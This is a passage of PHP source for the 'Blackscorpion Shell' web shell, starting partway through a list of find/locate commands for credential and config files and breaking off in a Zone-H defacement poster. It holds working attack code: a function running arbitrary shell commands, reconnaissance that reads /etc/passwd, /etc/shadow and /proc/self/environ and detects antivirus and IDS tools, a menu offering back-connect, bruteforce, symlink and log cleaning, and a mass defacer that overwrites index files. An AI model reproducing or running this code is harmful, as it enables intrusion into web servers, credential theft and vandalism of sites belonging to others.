  211. "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
  212. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  213. "Locate" => "",
  214. "locate httpd.conf" => "locate httpd.conf",
  215. "locate vhosts.conf" => "locate vhosts.conf",
  216. "locate proftpd.conf" => "locate proftpd.conf",
  217. "locate psybnc.conf" => "locate psybnc.conf",
  218. "locate my.conf" => "locate my.conf",
  219. "locate admin.php" =>"locate admin.php",
  220. "locate cfg.php" => "locate cfg.php",
  221. "locate conf.php" => "locate conf.php",
  222. "locate config.dat" => "locate config.dat",
  223. "locate config.php" => "locate config.php",
  224. "locate config.inc" => "locate config.inc",
  225. "locate config.inc.php" => "locate config.inc.php",
  226. "locate config.default.php" => "locate config.default.php",
  227. "locate config*" => "locate config",
  228. "locate .conf"=>"locate '.conf'",
  229. "locate .pwd" => "locate '.pwd'",
  230. "locate .sql" => "locate '.sql'",
  231. "locate .htpasswd" => "locate '.htpasswd'",
  232. "locate .bash_history" => "locate '.bash_history'",
  233. "locate .mysql_history" => "locate '.mysql_history'",
  234. "locate .fetchmailrc" => "locate '.fetchmailrc'",
  235. "locate backup" => "locate backup",
  236. "locate dump" => "locate dump",
  237. "locate priv" => "locate priv"
  238. );
  239. function BlackscorpionHeader() {
  240. if(empty($_POST['charset']))
  241. $_POST['charset'] = $GLOBALS['default_charset'];
  242. global $color;
  243. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><link rel='SHORTCUT ICON' href='https://scontent.fisb5-1.fna.fbcdn.net/v/t1.0-9/26167499_282922625564401_5726606951952680138_n.png?oh=86a4af2ba530d2718cf1222b36b87877&oe=5B41A5FF'><title>Blackscorpion Shell</title>
  244. <script type='text/javascript'>
  245. function tukar(lama,baru){
  246. document.getElementById(lama).style.display = 'none';
  247. document.getElementById(baru).style.display = 'block';
  248. }
  249. </script>";
  250. ?>
  251.  
  252.  
  253.  
  254. <?php
  255. echo "
  256. <style>
  257. body{background-color:#0f2333;color:#0f2333}
  258. body,td,th{ font: 10pt Comic Sans MS, sans-serif;margin:0;vertical-align:top;color:#14cfd2; }
  259. table.info{ color:#fff;);
  260. background-repeat:no-repeat;
  261. background-position: top;
  262. background-attachment: fixed;
  263. -webkit-background-size: cover;
  264. -moz-background-size: cover;
  265. -o-background-size: cover;
  266. background-size: cover;}
  267. span,h1,a{ color: $color !important; }
  268. span{ font-weight: bolder; }
  269. button {
  270. -moz-box-shadow: 0px 16px 14px -7px #276873;
  271. -webkit-box-shadow: 0px 16px 14px -7px #276873;
  272. box-shadow: 0px 16px 14px -7px #276873;
  273. background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #ff0088), color-stop(1, #408c99));
  274. background:-moz-linear-gradient(top, #ff0088 5%, #408c99 100%);
  275. background:-webkit-linear-gradient(top, #ff0088 5%, #408c99 100%);
  276. background:-o-linear-gradient(top, #ff0088 5%, #408c99 100%);
  277. background:-ms-linear-gradient(top, #ff0088 5%, #408c99 100%);
  278. background:linear-gradient(to bottom, #ff0088 5%, #408c99 100%);
  279. filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088', endColorstr='#408c99',GradientType=0);
  280. background-color:#ff0088;
  281. border:1px solid #29668f;
  282. display:inline-block;
  283. cursor:pointer;
  284. color:#ffffff;
  285. font-family:Arial;
  286. font-size:12px;
  287. font-weight:bold;
  288. padding:5px 15px;
  289. text-decoration:none;
  290. text-shadow:0px 1px 0px #3d768a;
  291. }
  292. button:hover {
  293. background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #408c99), color-stop(1, #ff0088));
  294. background:-moz-linear-gradient(top, #408c99 5%, #ff0088 100%);
  295. background:-webkit-linear-gradient(top, #408c99 5%, #ff0088 100%);
  296. background:-o-linear-gradient(top, #408c99 5%, #ff0088 100%);
  297. background:-ms-linear-gradient(top, #408c99 5%, #ff0088 100%);
  298. background:linear-gradient(to bottom, #408c99 5%, #ff0088 100%);
  299. filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#408c99', endColorstr='#ff0088',GradientType=0);
  300. background-color:#408c99;
  301. }
  302. button:active {
  303. position:relative;
  304. top:1px;
  305. }
  306. .input{
  307. text-shadow: #777777 0px 0px 3px;
  308. border: 4px solid #007700;
  309. box-shadow: 0px 2px 4px #007700;
  310. color: #009900;
  311. text-align:center;
  312. border-top:1px solid #007700;
  313. border-left:1px solid #007700;
  314. border-bottom:1px solid #007700;
  315. border-right:1px solid #007700;
  316. background:transparent;
  317. height: 20px;
  318. font-size:14px;
  319. }
  320. .textarea {
  321. text-shadow: #777777 0px 0px 3px;
  322. border: 1px solid #007700;
  323. box-shadow: 0px 0px 4px #007700;
  324. color: #009900;
  325. text-align:center;
  326. border-top:1px solid #007700;
  327. border-left:1px solid #007700;
  328. border-bottom:1px solid #007700;
  329. border-right:1px solid #007700;
  330. background:transparent;
  331. }
  332. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:teal;margin:0px; }
  333. div.content{ padding: 5px;margin-left:5px;background-color:#162435; }
  334. a{ text-decoration:none; }
  335. a:hover{ text-decoration:underline; }
  336. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  337. .bigarea{ width:100%;height:300px; }
  338. input,textarea,select{ margin:0;color:#fff;background-color:#0f2e56;border:1px solid #ff0000; font: 9pt Monospace,'Courier New'; }
  339. input[type='button']:hover,input[type='submit']:hover {background-color: $color;color:#000;}
  340. form{ margin:0px; }
  341. #toolsTbl{ text-align:center; }
  342. .toolsInp{ width: 300px }
  343. .main th{text-align:left;background-color:#5e5e5e; }
  344. .main tr:hover{background-color:#5e5e5e}
  345. .l1{background-color:#444}
  346. .l2{background-color:#333}
  347. pre{font-family:Courier,Monospace;}
  348. </style>
  349. <script>
  350. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  351. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  352. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  353. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  354. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  355. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  356. var d = document;
  357. function set(a,c,p1,p2,p3,charset) {
  358. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  359. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  360. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  361. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  362. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  363. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  364. }
  365. function g(a,c,p1,p2,p3,charset) {
  366. set(a,c,p1,p2,p3,charset);
  367. d.mf.submit();
  368. }
  369. function a(a,c,p1,p2,p3,charset) {
  370. set(a,c,p1,p2,p3,charset);
  371. var params = 'ajax=true';
  372. for(i=0;i<d.mf.elements.length;i++)
  373. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  374. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  375. }
  376. function sr(url, params) {
  377. if (window.XMLHttpRequest)
  378. req = new XMLHttpRequest();
  379. else if (window.ActiveXObject)
  380. req = new ActiveXObject('Microsoft.XMLHTTP');
  381. if (req) {
  382. req.onreadystatechange = processReqChange;
  383. req.open('POST', url, true);
  384. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  385. req.send(params);
  386. }
  387. }
  388. function processReqChange() {
  389. if( (req.readyState == 4) )
  390. if(req.status == 200) {
  391. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  392. var arr=reg.exec(req.responseText);
  393. eval(arr[2].substr(0, arr[1]));
  394. } else alert('Request error!');
  395. }
  396. </script>
  397. <head>
  398. <body>
  399. </div><div style='position:absolute;width:100%;background-color:#0e2233;top:0;left:0;'>
  400. <form method=post name=mf style='display:none;'>
  401. <input type=hidden name=a>
  402. <input type=hidden name=c>
  403. <input type=hidden name=p1>
  404. <input type=hidden name=p2>
  405. <input type=hidden name=p3>
  406. <input type=hidden name=charset>
  407. </form>";
  408. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  409. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  410. $totalSpace = $totalSpace?$totalSpace:1;
  411. $release = @php_uname('r');
  412. $kernel = @php_uname('s');
  413. $disable_functions = @ini_get('disable_functions');
  414. $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  415. if(strpos('Linux', $kernel) !== false)
  416. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  417. else
  418. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  419. if(!function_exists('posix_getegid')) {
  420. $user = @get_current_user();
  421. $uid = @getmyuid();
  422. $gid = @getmygid();
  423. $group = "?";
  424. } else {
  425. $uid = @posix_getpwuid(posix_geteuid());
  426. $gid = @posix_getgrgid(posix_getegid());
  427. $user = $uid['name'];
  428. $uid = $uid['uid'];
  429. $group = $gid['name'];
  430. $gid = $gid['gid'];
  431. }
  432. $cwd_links = '';
  433. $path = explode("/", $GLOBALS['cwd']);
  434. $n=count($path);
  435. for($i=0; $i<$n-1; $i++) {
  436. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  437. for($j=0; $j<=$i; $j++)
  438. $cwd_links .= $path[$j].'/';
  439. $cwd_links .= "\")'>".$path[$i]."/</a>";
  440. }
  441. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  442. $opt_charsets = '';
  443. foreach($charsets as $item)
  444. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  445.  
  446. $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Port Scanner' => 'PortScanner','Safe mode'=>'SafeMode','CgiShell'=>'CgiShell','Defacer' => 'Deface','Config' => 'blackieconfig','Symlink'=>'symlinkbyblackscorpion','Shells'=>'Shells','Private Tools' => 'priv8','Jumping'=>'jump1ing','Adminer'=>'adminer','Tools'=> 'Tools','Exec'=>'Console','Php'=>'Php','Sql'=>'Sql','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Back-Connect'=>'Network','Injector'=>'Injector','Dir Deface'=>'DirDefacer','Domains' => 'Domain','Zone-h' => 'ZHposter','php Obfuscator'=>'obfuscatorbyblackscorpion','Clean Logs'=> 'cleanlogs','About Me'=>'About');
  447. if(!empty($GLOBALS['auth_pass']))
  448. $m['Logout'] = 'Logout';
  449. $m['Self remove'] = 'SelfRemove';
  450. $menu = '';
  451. foreach($m as $k => $v)
  452. $menu .= '<button width="'.(int)(100/count($m)).'%"><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></button>';
  453. if($GLOBALS['os'] == 'nix') {
  454. $dominios = @file_get_contents("/etc/named.conf");
  455. if(!$dominios) {
  456. $DomainS = "/var/named";
  457. $Domainonserver = scandir($DomainS);
  458. $d0c = count($Domainonserver);
  459. } else {
  460. @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  461. $out = sizeof(array_unique($out[1]));
  462. $d0c = $out." Domains";
  463. }
  464. } else {
  465. $d0c = "None";
  466. }
  467.  
  468. $drives = "";
  469. if($GLOBALS['os'] == 'win') {
  470. foreach(range('c','z') as $drive)
  471. if(is_dir($drive.':\\'))
  472. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  473. }
  474. echo '<center><font color="Green" size="42" />Blacksc</font><font color="white" size="42" />orpion Shell</font><table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>D/functions:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  475. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  476. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('h:i:s d-m-Y') . '<br>' . BlackscorpionViewSize($totalSpace) . ' <span>Free:</span> ' . BlackscorpionViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>'.($disable_functions?$disable_functions:'All Function Enable').'<br>' . $cwd_links . ' '. BlackscorpionColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . ''
  477. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Domains&nbsp;:&nbsp;</span>' .$d0c. '<br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  478. . '<table style="border-top:10px solid #333;" cellpadding=2 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  479. }
  480. function BlackscorpionFooter() {
  481. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  482. echo "
  483. </div>
  484. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  485. <tr>
  486. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  487. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  488. </tr><tr><hr>
  489. <div align='right'>
  490. <form action='' method='POST'><input type='submit' name='defacepage' value='Fuck Deface here'></form></div></center><hr>
  491. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  492. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  493. </tr><tr>
  494. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  495. <td><form method='post' ENCTYPE='multipart/form-data'>
  496. <input type=hidden name=a value='FilesMAn'>
  497. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  498. <input type=hidden name=p1 value='uploadFile'>
  499. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  500. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  501. </tr></table>";?><center><form method="post">
  502. <input type="text" name="email" value="<?php print $_POST['email']?>"required >
  503. <input type="submit" value="Send email test >>">
  504. </form>
  505. <br>
  506. <?php
  507. if (!empty($_POST['email'])){
  508. $xx = rand();
  509. mail($_POST['email'],"Result Report Test - ".$xx,"Sent from Blackscorpion Shell.Master mail is WORKING !");
  510. print "<b>send an report to [".$_POST['email']."] - $xx</b>";
  511. }
  512. ?></center><div class="content" style="border:2px solid <?php $color ?>;text-align:center;font-weight:bold; border-radius:6px;margin:auto; width:1000;"><marquee>Greetz::: Devil killer::::Black-Python:::The Alien::::Owl Master::: FrostByte :::: SHK V3n0m:::::> Shell Black Scorpion (ProBros)</marquee></div></div></body></html><style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-9/cur849.ani), url(http://cur.cursors-4u.net/cursors/cur-9/cur849.png), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/11/22/night-diamond-bloody-red-diagonal-resize-2.html" target="_blank" title="Night Diamond Bloody Red - Diagonal Resize 2"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Night Diamond Bloody Red - Diagonal Resize 2" style="position:absolute; top: 0px; right: 0px;" /></a><?php
  513. }
  514. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  515. function posix_getpwuid($p) {return false;} }
  516. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  517. function posix_getgrgid($p) {return false;} }
  518. function BlackscorpionEx($in) {
  519. $out = '';
  520. if (function_exists('exec')) {
  521. @exec($in,$out);
  522. $out = @join("\n",$out);
  523. } elseif (function_exists('passthru')) {
  524. ob_start();
  525. @passthru($in);
  526. $out = ob_get_clean();
  527. } elseif (function_exists('system')) {
  528. ob_start();
  529. @system($in);
  530. $out = ob_get_clean();
  531. } elseif (function_exists('shell_exec')) {
  532. $out = shell_exec($in);
  533. } elseif (is_resource($f = @popen($in,"r"))) {
  534. $out = "";
  535. while(!@feof($f))
  536. $out .= fread($f,1024);
  537. pclose($f);
  538. }
  539. return $out;
  540. }
  541. function BlackscorpionViewSize($s) {
  542. if (is_int($s))
  543. $s = sprintf("%u", $s);
  544.  
  545. if($s >= 1073741824)
  546. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  547. elseif($s >= 1048576)
  548. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  549. elseif($s >= 1024)
  550. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  551. else
  552. return $s . ' B';
  553. }
  554. function BlackscorpionPerms($p) {
  555. if (($p & 0xC000) == 0xC000)$i = 's';
  556. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  557. elseif (($p & 0x8000) == 0x8000)$i = '-';
  558. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  559. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  560. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  561. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  562. else $i = 'u';
  563. $i .= (($p & 0x0100) ? 'r' : '-');
  564. $i .= (($p & 0x0080) ? 'w' : '-');
  565. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  566. $i .= (($p & 0x0020) ? 'r' : '-');
  567. $i .= (($p & 0x0010) ? 'w' : '-');
  568. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  569. $i .= (($p & 0x0004) ? 'r' : '-');
  570. $i .= (($p & 0x0002) ? 'w' : '-');
  571. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  572. return $i;
  573. }
  574. function BlackscorpionColor($f) {
  575. if (!@is_readable($f))
  576. return '<font color=#FF0000>' . BlackscorpionPerms(@fileperms($f)) . '</font>';
  577. elseif (!@is_writable($f))
  578. return '<font color=white>' . BlackscorpionPerms(@fileperms($f)) . '</font>';
  579. else
  580. return '<font color=#25ff00>' . BlackscorpionPerms(@fileperms($f)) . '</font>';
  581. }
  582. function BlackscorpionScandir($dir) {
  583. if(function_exists("scandir")) {
  584. return scandir($dir);
  585. } else {
  586. $dh = opendir($dir);
  587. while (false !== ($filename = readdir($dh)))
  588. $files[] = $filename;
  589. return $files;
  590. }
  591. }
  592. function BlackscorpionWhicH($p) {
  593. $path = BlackscorpionEx('which ' . $p);
  594. if(!empty($path))
  595. return $path;
  596. return false;
  597. }
  598. function actionSecInfo() {
  599. BlackscorpionHeader();
  600. echo '<center><h1>Server security information</h1></center><div class=content>';
  601. function BlackscorpionSecPaRaM($n, $v) {
  602. $v = trim($v);
  603. if($v) {
  604. echo '<span>' . $n . ': </span>';
  605. if(strpos($v, "\n") === false)
  606. echo $v . '<br>';
  607. else
  608. echo '<pre class=ml1>' . $v . '</pre>';
  609. }
  610. }
  611. BlackscorpionSecPaRaM('Server software', @getenv('SERVER_SOFTWARE'));
  612. if(function_exists('apache_get_modules'))
  613. BlackscorpionSecPaRaM('Loaded Apache modules', implode(', ', apache_get_modules()));
  614. BlackscorpionSecPaRaM('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  615. BlackscorpionSecPaRaM('Open base dir', @ini_get('open_basedir'));
  616. BlackscorpionSecPaRaM('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  617. BlackscorpionSecPaRaM('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  618. BlackscorpionSecPaRaM('cURL support', function_exists('curl_version')?'enabled':'no');
  619. $temp=array();
  620. if(function_exists('mysql_get_client_info'))
  621. $temp[] = "MySql (".mysql_get_client_info().")";
  622. if(function_exists('mssql_connect'))
  623. $temp[] = "MSSQL";
  624. if(function_exists('pg_connect'))
  625. $temp[] = "PostgreSQL";
  626. if(function_exists('oci_connect'))
  627. $temp[] = "Oracle";
  628. BlackscorpionSecPaRaM('Supported databases', implode(', ', $temp));
  629. echo '<br>';
  630. if($GLOBALS['os'] == 'nix') {
  631. BlackscorpionSecPaRaM('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  632. BlackscorpionSecPaRaM('Readable /proc/self/environ', @is_readable('/proc/self/environ')?"yes <a href='#' onclick='g(\"FilesTools\", \"/proc/self/\", \"environ\")'>[view]</a>":'no');
  633. BlackscorpionSecPaRaM('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  634. BlackscorpionSecPaRaM('Readable /proc/self/fd/9', @is_readable('/proc/self/fd/9')?"yes <a href='#' onclick='g(\"FilesTools\", \"/proc/self\", \"fd/9\")'>[view]</a>":'no');
  635. BlackscorpionSecPaRaM('OS version', @file_get_contents('/proc/version'));
  636. BlackscorpionSecPaRaM('Distr name', @file_get_contents('/etc/issue.net'));
  637. if(!$GLOBALS['safe_mode']) {
  638. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  639. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  640. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  641. echo '<br>';
  642. $temp=array();
  643. foreach ($userful as $item)
  644. if(BlackscorpionWhicH($item))
  645. $temp[] = $item;
  646. BlackscorpionSecPaRaM('Userful', implode(', ',$temp));
  647. $temp=array();
  648. foreach ($danger as $item)
  649. if(BlackscorpionWhicH($item))
  650. $temp[] = $item;
  651. BlackscorpionSecPaRaM('Danger', implode(', ',$temp));
  652. $temp=array();
  653. foreach ($downloaders as $item)
  654. if(BlackscorpionWhicH($item))
  655. $temp[] = $item;
  656. BlackscorpionSecPaRaM('Downloaders', implode(', ',$temp));
  657. echo '<br/>';
  658. BlackscorpionSecPaRaM('HDD space', BlackscorpionEx('df -h'));
  659. BlackscorpionSecPaRaM('Hosts', @file_get_contents('/etc/hosts'));
  660. echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  661. if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  662. $temp = "";
  663. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  664. $uid = @posix_getpwuid($_POST['p2']);
  665. if ($uid)
  666. $temp .= join(':',$uid)."\n";
  667. }
  668. echo '<br/>';
  669. BlackscorpionSecPaRaM('Users', $temp);
  670. }
  671. }
  672. } else {
  673. BlackscorpionSecPaRaM('OS Version',BlackscorpionEx('ver'));
  674. BlackscorpionSecPaRaM('Account Settings',BlackscorpionEx('net accounts'));
  675. BlackscorpionSecPaRaM('User Accounts',BlackscorpionEx('net user'));
  676. }
  677. echo '</div>';
  678. BlackscorpionFooter();
  679. }
  680. function actionDeface() {
  681. BlackscorpionHeader();
  682. echo "<center><h1>Mass Defacer</h1></center><div class=content>";
  683. ?>
  684. <div align="left">
  685. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;" >
  686. <p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>" >
  687. <br>file name : <input type=text name=file size=20 value="index.php">
  688. <br>Text Content : <br><textarea type=text name=Contents cols=70 rows=15 placeholder="Deface Text Here" class="textarea">Hacked by Blackscorpion Pakistan Zindabad</textarea>
  689. <br><input type=submit value="Update" class="input"></p></form>
  690.  
  691. <?php
  692. if ($_POST['a'] == 'Deface') {
  693. $mainpath = $_POST[p1];
  694. $file = $_POST[p2];
  695. $txtContents = $_POST[p3];
  696. echo "-----------------------------------------------<br>
  697. [+] Single user Mass defacer [+]<br>
  698. -----------------------------------------------<br><br> ";
  699. $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
  700. while ($row = readdir($dir)) {
  701. $start = @fopen("$row/$file", "w");
  702. $code = $txtContents;
  703. $finish = @fwrite($start, $code);
  704. if ($finish) {
  705. echo "$row/$file > Done<br><br>";
  706. }
  707. }
  708. echo "-----------------------------------------------<br><br>[+] Script by Blackscorpion [+]";
  709. }
  710. echo '</div></div>';
  711. BlackscorpionFooter();
  712.  
  713. }
  714. function actionZHposter() {
  715. BlackscorpionHeader();
  716. echo '<center><h1>Zone-H Poster</h1></center></center><br><div class=content>';
  717. $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  718. $expld = explode('/',$furl );
  719. $burl =str_replace(end($expld),'',$furl);
  720. echo '<div class="content"><center>';
  721. $string = 1;
  722. if($string == 1)
  723. {
  724. ?>
  725. <br />
  726. <div class="zoneh">
  727. <center>
  728. <form action="<?php echo $self;?>?submit=send" method="post">
  729. <span>Notifier: </span><input name="defacer" size="67" id="text" value="Team_ProBro's" type="text"><br />
  730. <span>Select Hack Method: </span><select name="hackmode">
  731. <option value="">--------SELECT--------</option>
  732. <option value="1" >known vulnerability (i.e. unpatched system)</option>
  733. <option value="2" >undisclosed (new) vulnerability</option>
  734. <option value="3" >configuration / admin. mistake</option>
  735. <option value="4" >brute force attack</option>
  736. <option value="5" >social engineering</option>
  737. <option value="6" >Web Server intrusion</option>
  738. <option value="7" >Web Server external module intrusion</option>
  739. <option value="8" >Mail Server intrusion</option>
  740. <option value="9" >FTP Server intrusion</option>
  741. <option value="10" >SSH Server intrusion</option>
  742. <option value="11" >Telnet Server intrusion</option>
  743. <option value="12" >RPC Server intrusion</option>
  744. <option value="13" >Shares misconfiguration</option>
  745. <option value="14" >Other Server intrusion</option>
  746. <option value="15" >SQL Injection</option>
  747. <option value="16" >URL Poisoning</option>
  748. <option value="17" >File Inclusion</option>
  749. <option value="18" >Other Web Application bug</option>
  750. <option value="19" >Remote administrative panel access through bruteforcing</option>
  751. <option value="20" >Remote administrative panel access through password guessing</option>
  752. <option value="21" >Remote administrative panel access through social engineering</option>
  753. <option value="22" >Attack against the administrator/user (password stealing/sniffing)</option>
  754. <option value="23" >Access credentials through Man In the Middle attack</option>
  755. <option value="24" >Remote service password guessing</option>
  756. <option value="25" >Remote service password bruteforce</option>
  757. <option value="26" >Rerouting after attacking the Firewall</option>
  758. <option value="27" >Rerouting after attacking the Router</option>
  759. <option value="28" >DNS attack through social engineering</option>
  760. <option value="29" >DNS attack through cache poisoning</option>
  761. <option value="30" >Not available</option>
  762. <option value="31" >Cross-Site Scripting</option>
  763. </select>
  764. <br />
  765. <span>Select The Reason: </span><select name="reason">
  766. <option value="">--------SELECT--------</option>
  767. <option
  768. value="1" >Heh...just for fun!</option>
  769. <option value="2" >Revenge against that website</option>
  770. <option value="3" >Political reasons</option>
  771. <option value="4" >As a challenge</option>
  772. <option value="5" >I just want to be the best defacer</option>
  773. <option value="6" >Patriotism</option>
  774. <option value="7" >Not available</option>
  775. </select><br />
  776. <textarea name="domains" cols="90" rows="20" placeholder="Domains..."></textarea>
  777. <br />
  778. <input type="submit" value="send" />
  779. </form>
  780.  
  781. </center>
  782. <?php
  783.  
  784.  
  785. }
  786. BlackscorpionFooter();
  787. }
  788.  
  789. if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="send") {
  790. printHeader();
  791. $defacer= $_REQUEST['defacer'];
  792. $hackmode= $_REQUEST['hackmode'];
  793. $reason= $_REQUEST['reason'];
  794. $domains= $_REQUEST['domains'];
  795. $domains_list=explode("\n",$domains);
  796.  
  797. if (empty($defacer))
  798. {
  799. die ("<center><b><font color =\"#FF0000\">You Must Fill The Notifier Name</font></b></center>");
  800. }
  801. elseif($hackmode == "")
  802. {
